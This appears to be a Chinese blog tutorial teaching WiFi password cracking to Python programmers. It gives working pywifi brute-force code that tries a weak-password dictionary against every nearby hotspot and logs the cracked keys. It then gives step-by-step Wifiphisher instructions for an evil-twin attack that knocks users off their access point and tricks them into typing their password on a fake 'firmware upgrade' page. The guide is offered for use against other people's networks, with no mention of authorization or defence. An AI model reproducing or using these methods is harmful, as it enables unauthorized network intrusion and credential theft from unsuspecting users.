想要WIFI破解,python+字典,这是是少不了的

WIFI破解,Python程序员必学技能

WIFI已经普及,对于Python程序员来说,没有网络也不用担心!我将教你一招,如何从图片中提取Python脚本代码。只需将图片发送至手机QQ并长按后点击识别图片中的汉字。如果你还不知道这个技巧,赶紧试一试吧,它能大大减少我们的工作量。

想要进行WIFI破解,Python和字典是必不可少的。热点加弱口令也是关键。你可以自己精心制作字典,字典越强大,你能破解的WIFI就越多。后面就不再赘述。

我将提供两种方法,一般人学会其中一种即可。

方法一

环境准备

  • Python 2.7
  • pywifi模块
  • 字典
  • 清除系统中的任何wifi连接记录

导入模块

这里只需要导入三个模块:pywifi、time和sys。

from pywifi import *
import time
import sys

字典准备

这里提供了一个随机生成的wifi弱口令TOP10的示例字典。

keys = [
    "12345678",
    "1234567898888888",
    "1234567890000000",
    "8765432166668888",
    "1122334414725836",
    "9111111111"
]

配置扫描器

推荐将扫描时长设置在15-20秒之间,测试时长可以自定义。考虑到认证速度和距离的关系,我一般将测试时长设置为15秒左右,再长也没有意义。毕竟即使破解成功,如果信号不好,也无法连接到热点。

# 扫描时长
scantimes = 3
# 单个密码测试延迟
testtimes = 15
# 结果文件保存路径
files = "TestRes.txt"

# 实例化一个pywifi对象
wifi = PyWiFi()
# 选择一个网卡并赋值给iface
iface = wifi.interfaces()[0]
# 通过iface进行一个时长为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface, scantimes)
# 统计附近被发现的热点数量
nums = len(scanres)

print("|SCAN GET %s" % nums)
print("%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s" % (
    "-" * 70, 6, "WIFIID", 18, "SSID OR BSSID", 2, "N", 4, "time", 7, "signal", 10, "KEYNUM", 10, "KEY", "=" * 70))

# 将每一个热点信息逐一进行测试
for i, x in enumerate(scanres):
    # 测试完毕后,将成功的结果存储到files中
    res = test(nums - i, iface, x, keys, output, testtimes)
    if res:
        open(files, "a").write(res)

扫描周围热点

def scans(face, timeout):
    # 开始扫描
    face.scan()
    time.sleep(timeout)
    # 在若干秒后获取扫描结果
    return face.scan_results()

热点测试

这里推荐将扫描过程的数据存入数据库,以防止重复扫描,并且更加直观。

def test(i, face, x, key, stu, ts):
    # 显示对应网络名称,考虑到部分中文名字显示bssid
    showID = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid
    # 迭代字典并进行爆破
    for n, k in enumerate(key):
        x.key = k.strip()
        # 移除所有热点配置
        face.remove_all_network_profiles()
        # 尝试连接封装好的目标
        face.connect(face.add_network_profile(x))
        # 初始化状态码,考虑到用0会发生一些逻辑错误
        code = 10
        t1 = time.time()
        # 循环刷新状态,如果置为0则密码错误,如果超时则进行下一个
        while code != 0:
            time.sleep(0.1)
            code = face.status()
            now = time.time() - t1
            if now > ts:
                break
            stu.write("%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s" % (
                6, i, 18, showID, code, 5, now, 7, x.signal, 10, len(key) - n, 10, k.replace("", "")))
            stu.flush()
            if code == 4:
                face.disconnect()
                return "%-*s| %s | %*s |%*s" % (20, x.ssid, x.bssid, 3, x.signal, 15, k)
    return False

方法二

目前常见的Wi-Fi加密方式有WEP、WPA2和WPS,不过破解WPA2的方法耗时较长,并且不适用于所有启用了WPS的接入点。而今天我要介绍的方法更加省时省力。

主要原理

创建一个伪AP来进行”狸猫换太子”的操作,然后撤销用户AP的授权,通知用户需要进行”固件升级”,并要求重新验证密码。由于你的伪AP具有相同的SSID,用户就会”交代”密码。

这样你就能获取用户的密码,并且让用户将你的伪AP作为自己的接入点。而对方一无所知。

之前也有类似的脚本,例如Airsnarf,但是我们这次使用的是Wifiphisher,这个经过优化的自动化脚本比前者更加方便。

要完成上述操作,你需要准备Kali Linux和两个无线适配器,其中一个必须支持数据包注入。

第一步:下载Wifiphisher

你可以下载已解压的Wifiphisher源代码,也可以复制GitHub上的代码。

第二步:导航到该目录

导航到Wifiphisher解压目录的路径,例如/wifiphisherWi-Fi1.1。

当你看到目录内容时,你会看到wifiphisher.py的脚本。

第三步:运行脚本

运行以下脚本:

kali > python wifiphisher.py

注意:如果是第一次运行脚本,可能会提示安装hostapd,键入Y继续安装即可。安装完成后,再次运行Wifiphisher脚本。

这次将会运行8080和43端口的Web服务器,并开始搜索附近的Wi-Fi网络。

第四步:获取密码

按下Ctrl+C,然后键入要复制的AP数,例如我们选择12。

回车后,Wifiphisher会显示如下结果,包括正在使用的界面,以及被攻击和复制的AP所在的SSID。

目标用户已经取消验证他们的AP,随后会出现一个固件升级的信息,请求他们重新验证。一旦重新验证,他们接入的就是伪接入点了。

当用户输入密码时,它会通过Wifiphisher的开放终端传输给你,然后他们就会像平常一样上网,毫不知情。

赞(0)